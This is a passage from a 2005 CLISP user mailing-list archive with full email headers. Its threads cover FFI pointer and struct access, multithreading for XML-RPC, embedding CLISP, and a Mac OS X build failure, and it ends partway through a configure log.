Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] newbie ffi question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 4 01:51:04 2005 X-Original-Date: Mon, 04 Apr 2005 11:51:32 +0300 Foreign function returns the pointer on structure. This pointer is necessary for a call of other foreign functions. Also it is necessary to read / write fields of this structure in cLisp. How? Thanks. -- WBR, Yaroslav Kavenchuk. From neumann@dfki.de Mon Apr 04 09:34:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DIUX7-0007wa-Or for clisp-list@lists.sourceforge.net; Mon, 04 Apr 2005 09:34:37 -0700 Received: from corp-206.dfki.uni-sb.de ([134.96.188.26] helo=mail.dfki.de) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DIUX5-0002EV-1v for clisp-list@lists.sourceforge.net; Mon, 04 Apr 2005 09:34:37 -0700 Received: from mail.dfki.de (localhost.dfki.uni-sb.de [127.0.0.1]) by localhost (Postfix) with ESMTP id 3BF78E47E5 for ; Mon, 4 Apr 2005 18:34:24 +0200 (CEST) Received: from [134.96.187.16] (closure.dfki.uni-sb.de [134.96.187.16]) by mail.dfki.de (Postfix) with ESMTP id 08E22E47C8 for ; Mon, 4 Apr 2005 18:34:24 +0200 (CEST) Message-ID: <42516C8F.3030107@dfki.de> From: Guenter Neumann User-Agent: Mozilla Thunderbird 0.9 (Windows/20041103) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sf.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] FAQ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 4 09:34:54 2005 X-Original-Date: Mon, 04 Apr 2005 18:34:23 +0200 Dear all, I am using S-XML-RPC ( http://common-lisp.net/project/s-xml-rpc/ ) in ACL for integrating Java and Lisp xml-rpc calls (basically I am calling Lisp from Java). The Lisp system I have developed is a very power NLP tool. It also runs completely under CLISP. Now, I thought to port S-XML-RPC also to CLISP, but it seems that this is not possible due to the lack of multithreading in CLISP. Is this still true? Are there any alternatives within CLISP? Best, Guenter -- Priv.-Doz. Dr. Guenter Neumann, Principal Researcher & Research Fellow LT-Lab DFKI, Stuhlsatzenhausweg 3, 66123 Saarbruecken, Germany neumann@dfki.de Phone: +49 681 302 5298 http://www.dfki.de/~neumann Fax : +49 681 302 5338 From pjb@informatimago.com Mon Apr 04 16:44:19 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DIbEx-0005Tr-Ii for clisp-list@lists.sourceforge.net; Mon, 04 Apr 2005 16:44:19 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DIbEv-0008GR-Je for clisp-list@lists.sourceforge.net; Mon, 04 Apr 2005 16:44:19 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 72D03585BE; Tue, 5 Apr 2005 01:33:44 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id D79A858344; Tue, 5 Apr 2005 01:33:38 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 8A4C610FC26; Tue, 5 Apr 2005 01:33:37 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20050404233337.8A4C610FC26@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-104.4 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00, UPPERCASE_25_50,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] ffi:c-ptr / ffi:c-ptr-null have strictly no effect? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 4 19:08:37 2005 X-Original-Date: Tue, 5 Apr 2005 01:33:37 +0200 (CEST) clisp-2.33.2 COM.INFORMATIMAGO.SUSV3.DIRENT[69]> (DEFUN READDIR (DIR-STREAM) (ffi:with-c-var (d 'susv3:dirent (FFI:UNSIGNED-FOREIGN-ADDRESS (check-pointer (susv3:readdir DIR-STREAM) :function 'susv3:readdir :arguments (list DIR-STREAM) :caller 'readdir :no-error (list susv3:einval)))) (unless (NULL d) (let ((result (make-dirent))) (c-dirent->dirent (ffi:deref (ffi:cast d '(ffi:c-ptr-null susv3:dirent))) result) result)))) READDIR COM.INFORMATIMAGO.SUSV3.DIRENT[70]> (readdir common-lisp-user::d) *** - # cannot be converted to the foreign type #(FFI:C-STRUCT COM.INFORMATIMAGO.CLISP.SUSV3:DIRENT NIL #(COM.INFORMATIMAGO.CLISP.SUSV3::D_INO COM.INFORMATIMAGO.CLISP.SUSV3::D_OFF COM.INFORMATIMAGO.CLISP.SUSV3::D_RECLEN COM.INFORMATIMAGO.CLISP.SUSV3::D_TYPE COM.INFORMATIMAGO.CLISP.SUSV3::D_NAME) # FFI:ULONG FFI:LONG FFI:USHORT FFI:UCHAR #(FFI:C-ARRAY CHAR 256)) Break 1 COM.INFORMATIMAGO.SUSV3.DIRENT[71]> COM.INFORMATIMAGO.SUSV3.DIRENT[52]> (DEFUN READDIR (DIR-STREAM) (ffi:with-c-var (d '(ffi:c-ptr-null susv3:dirent) (FFI:UNSIGNED-FOREIGN-ADDRESS (check-pointer (susv3:readdir DIR-STREAM) :function 'susv3:readdir :arguments (list DIR-STREAM) :caller 'readdir :no-error (list susv3:einval)))) (unless (NULL d) (let ((result (make-dirent))) (c-dirent->dirent d result) result)))) READDIR COM.INFORMATIMAGO.SUSV3.DIRENT[53]> (readdir common-lisp-user::d) *** - # cannot be converted to the foreign type #(FFI:C-STRUCT COM.INFORMATIMAGO.CLISP.SUSV3:DIRENT NIL #(COM.INFORMATIMAGO.CLISP.SUSV3::D_INO COM.INFORMATIMAGO.CLISP.SUSV3::D_OFF COM.INFORMATIMAGO.CLISP.SUSV3::D_RECLEN COM.INFORMATIMAGO.CLISP.SUSV3::D_TYPE COM.INFORMATIMAGO.CLISP.SUSV3::D_NAME) # FFI:ULONG FFI:LONG FFI:USHORT FFI:UCHAR #(FFI:C-ARRAY CHAR 256)) Break 1 COM.INFORMATIMAGO.SUSV3.DIRENT[54]> It seems that: (ffi:with-c-var (d '(ffi:c-ptr-null susv3:dirent) ...) ...) has the same effect as: (ffi:with-c-var (d 'susv3:dirent ...) ...) How can one use a pointer to a C structure (compare the address with specific numbers and fetch fields) with FFI, if at all possible? (in-package "COM.INFORMATIMAGO.CLISP.SUSV3") (ffi:def-c-type pointer ffi:ulong) (DEFCONSTANT NAME-MAX 255) (ffi:def-c-type dirp pointer) (ffi:def-c-type ino_t ffi:ulong) (ffi:def-c-type off_t ffi:long) (ffi:def-c-struct dirent (d_ino ino_t) (d_off off_t) (d_reclen ffi:ushort) (d_type ffi:uchar) (d_name (ffi:c-array ffi:char #.(1+ NAME-MAX)))) (ffi:def-call-out opendir (:name "opendir") (:arguments (name ffi:c-string)) (:return-type dirp) (:library #.+libc+) (:language :stdc)) (ffi:def-call-out closedir (:name "closedir") (:arguments (dir dirp)) (:return-type ffi:int) (:library #.+libc+) (:language :stdc)) (ffi:def-call-out readdir (:name "readdir") (:arguments (dir dirp)) (:return-type pointer) (:library #.+libc+) (:language :stdc)) -- __Pascal Bourguignon__ http://www.informatimago.com/ Small brave carnivores Kill pine cones and mosquitoes Fear vacuum cleaner From kavenchuk@jenty.by Tue Apr 05 07:02:29 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DIodQ-0005rg-OS for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 07:02:28 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DIodP-0002gr-3P for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 07:02:28 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 22VVCLCL; Tue, 5 Apr 2005 17:04:56 +0300 Message-ID: <42529A7C.8000408@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: newbie ffi question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 5 07:02:55 2005 X-Original-Date: Tue, 05 Apr 2005 17:02:36 +0300 > Foreign function returns the pointer on structure. > This pointer is necessary for a call of other foreign functions. Also it > is necessary to read / write fields of this structure in cLisp. > > How? I understand how read fields: (ffi:def-c-struct Tcl-Interp (result ffi:c-string) (freeProc *Tcl-FreeProc) (errorLine ffi:int)) (ffi:def-call-out Tcl-CreateInterp (:name "Tcl_CreateInterp") (:library *tcl-shared-lib*) (:return-type ffi:c-pointer)) [2]> (setq intr (Tcl-CreateInterp)) # [3]> (with-c-var (pointer 'c-pointer intr) (cast pointer '(c-ptr Tcl-Interp))) #S(TCL-FFI:Tcl-Interp :RESULT "" :|FREEpROC| NIL :|ERRORlINE| 0) How write? Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Apr 05 12:16:14 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DItX1-0007X6-4J for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 12:16:11 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DItX0-0006CP-GM for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 12:16:11 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j35JE1jZ009034; Tue, 5 Apr 2005 15:14:06 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42529A7C.8000408@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 05 Apr 2005 17:02:36 +0300") References: <42529A7C.8000408@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: newbie ffi question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 5 12:16:45 2005 X-Original-Date: Tue, 05 Apr 2005 15:15:27 -0400 > * Yaroslav Kavenchuk [2005-04-05 17:02:36 +0300]: > > (ffi:def-c-struct Tcl-Interp > (result ffi:c-string) > (freeProc *Tcl-FreeProc) > (errorLine ffi:int)) > > (ffi:def-call-out Tcl-CreateInterp > (:name "Tcl_CreateInterp") > (:library *tcl-shared-lib*) > (:return-type ffi:c-pointer)) > > [2]> (setq intr (Tcl-CreateInterp)) > # > > [3]> (with-c-var (pointer 'c-pointer intr) > (cast pointer '(c-ptr Tcl-Interp))) > #S(TCL-FFI:Tcl-Interp :RESULT "" :|FREEpROC| NIL :|ERRORlINE| 0) (with-c-var (pointer '(c-ptr Tcl-Interp) intr) pointer) > How to write? (with-c-var (pointer '(c-ptr Tcl-Interp) intr) (setf (slot (foreign-value pointer) 'result) "foo")) -- Sam Steingold (http://www.podval.org/~sds) running w2k UNIX, car: hard to learn/easy to use; Windows, bike: hard to learn/hard to use. From sds@gnu.org Tue Apr 05 12:34:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DItoH-00007k-JK for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 12:34:01 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DItoF-0007z4-VL for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 12:34:01 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j35JVonq011648; Tue, 5 Apr 2005 15:31:55 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050404233337.8A4C610FC26@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Tue, 5 Apr 2005 01:33:37 +0200 (CEST)") References: <20050404233337.8A4C610FC26@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ffi:c-ptr / ffi:c-ptr-null have strictly no effect? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 5 12:34:18 2005 X-Original-Date: Tue, 05 Apr 2005 15:33:16 -0400 > * Pascal J.Bourguignon [2005-04-05 01:33:37 +0200]: > > (ffi:with-c-var (d 'susv3:dirent > (FFI:UNSIGNED-FOREIGN-ADDRESS > (check-pointer (susv3:readdir DIR-STREAM) > :function 'susv3:readdir > :arguments (list DIR-STREAM) > :caller 'readdir > :no-error (list susv3:einval)))) > (unless (NULL d) > (let ((result (make-dirent))) > (c-dirent->dirent (ffi:deref (ffi:cast d '(ffi:c-ptr-null susv3:dirent))) result) > result)))) WFM: (ffi:with-c-var (d 'ffi:c-pointer (readdir ...)) (ffi:cast d '(ffi:c-ptr dirent))) ==> #S(DIRENT :D_INO ...) > (ffi:def-c-type pointer ffi:ulong) > > (DEFCONSTANT NAME-MAX 255) > > (ffi:def-c-type dirp pointer) > (ffi:def-c-type ino_t ffi:ulong) > (ffi:def-c-type off_t ffi:long) > > > (ffi:def-c-struct dirent > (d_ino ino_t) > (d_off off_t) > (d_reclen ffi:ushort) > (d_type ffi:uchar) > (d_name (ffi:c-array ffi:char #.(1+ NAME-MAX)))) You must be very very very careful here: the sizeof(ino_t), sizeof(off_t) &c &c &c greatly varies from OS to OS. (on cygwin it went from 4 to 8 with upgrade from 1.3 to 1.5). this is good enough for "explorations", but not for production code. for production you need a C module with a configure script which will check for sizeof &c. BTW, why do you need opendir/readdir? why isn't DIRECTORY enough? -- Sam Steingold (http://www.podval.org/~sds) running w2k When we break the law, they fine us, when we comply, they tax us. From pjb@informatimago.com Tue Apr 05 13:29:16 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DIufk-0003Ig-NB for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 13:29:16 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DIufh-0005j8-0z for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 13:29:16 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id AA0E5585BE; Tue, 5 Apr 2005 22:29:04 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 6C3D758344; Tue, 5 Apr 2005 22:28:57 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 25EBF10FC26; Tue, 5 Apr 2005 22:28:57 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20050405202857.25EBF10FC26@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-104.5 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00, USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp embedded? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 5 13:29:42 2005 X-Original-Date: Tue, 5 Apr 2005 22:28:57 +0200 (CEST) ISTR having seen recently enough messages about clisp being embeddable into another application. Could anybody please give me the references of these messages? (My searches of the mail list archives did not retrive them). Otherwise, is there any documentation about how to embed clisp? -- __Pascal_Bourguignon__ _ Software patents are endangering () ASCII ribbon against html email (o_ the computer industry all around /\ 1962:DO20I=1.100 //\ the world http://lpf.ai.mit.edu/ 2001:my($f)=`fortune`; V_/ http://petition.eurolinux.org/ From sds@gnu.org Tue Apr 05 14:50:50 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DIvwg-00080y-4h for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 14:50:50 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DIvwd-0006Rc-Ge for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 14:50:50 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j35LmYoc028374; Tue, 5 Apr 2005 17:48:35 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Cc: Bruno Haible , "Goffioul Michael" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050405202857.25EBF10FC26@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Tue, 5 Apr 2005 22:28:57 +0200 (CEST)") References: <20050405202857.25EBF10FC26@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Bruno Haible , "Goffioul Michael" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp embedded? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 5 14:51:14 2005 X-Original-Date: Tue, 05 Apr 2005 17:50:00 -0400 > * Pascal J.Bourguignon [2005-04-05 22:28:57 +0200]: > > ISTR having seen recently enough messages about clisp being embeddable > into another application. > > Could anybody please give me the references of these messages? (My > searches of the mail list archives did not retrive them). > > Otherwise, is there any documentation about how to embed clisp? clisp/src/TODO: Embeddability: additional API in spvw.d; example. many of the things in the latest patch from Michael are already in CLISP. the missing pieces are: 1. makemake.in: creation of libclisp.so (clisp.dll) I am not touching this. For all I care we could just apply Michael's patch as is, except that ISTR that there are some portability pitfalls, so I would prefer that Bruno handles this. 2. clisp_init() & clisp_fini() in spvw.d (and genclisph.d). I could do that except that it is pointless without [1] above. (Michael's patch will not apply cleanly at this point). -- Sam Steingold (http://www.podval.org/~sds) running w2k What was the best thing before sliced bread? From lars@margay.org Tue Apr 05 14:51:37 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DIvxO-00082h-2k for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 14:51:34 -0700 Received: from margay.org ([70.85.31.25]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DIvxL-0005yP-CO for clisp-list@lists.sourceforge.net; Tue, 05 Apr 2005 14:51:33 -0700 Received: from [10.0.2.2] (ACC0811A.ipt.aol.com [::ffff:172.192.129.26]) (AUTH: LOGIN lars, SSL: TLSv1/SSLv3,128bits,RC4-SHA) by margay.org with esmtp; Tue, 05 Apr 2005 13:51:23 -0700 id 000413B4.4252FA4D.00001D9D Mime-Version: 1.0 (Apple Message framework v619.2) Content-Transfer-Encoding: 7bit Message-Id: <3e4da9c38d018413fcfdc613b71741e1@margay.org> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Lars Rosengreen X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp cvs build fails for me on mac osx 10.3.8 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 5 14:52:21 2005 X-Original-Date: Tue, 5 Apr 2005 14:51:12 -0700 I have been running into some difficulties with building clisp from cvs on OS X 10.3.8 recently. In particular, the problem seems to be with the syscalls module. Any insights into what I might be doing wrong? thanks, -Lars Here is the tail end of the build log: ./configure --with-module=clx/mit-clx --without-dynamic-ffi --build ... test -d syscalls || ./lndir ../modules/syscalls syscalls if test -f syscalls/configure -a '!' -f syscalls/config.status ; then cd syscalls ; ( cache=`echo syscalls/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f ${cache} ; then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} ; else ./configure ; fi ) ; fi configure: loading cache ../config.cache configure: * System Calls (Tools) checking for gcc... (cached) gcc checking for C compiler default output file name... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for suffix of executables... checking for suffix of object files... (cached) o checking whether we are using the GNU C compiler... (cached) yes checking whether gcc accepts -g... (cached) yes checking for gcc option to accept ANSI C... (cached) none needed checking how to run the C preprocessor... (cached) gcc -E configure: * System Calls (Headers) checking for egrep... (cached) grep -E checking for ANSI C header files... (cached) yes checking whether time.h and sys/time.h may both be included... yes checking 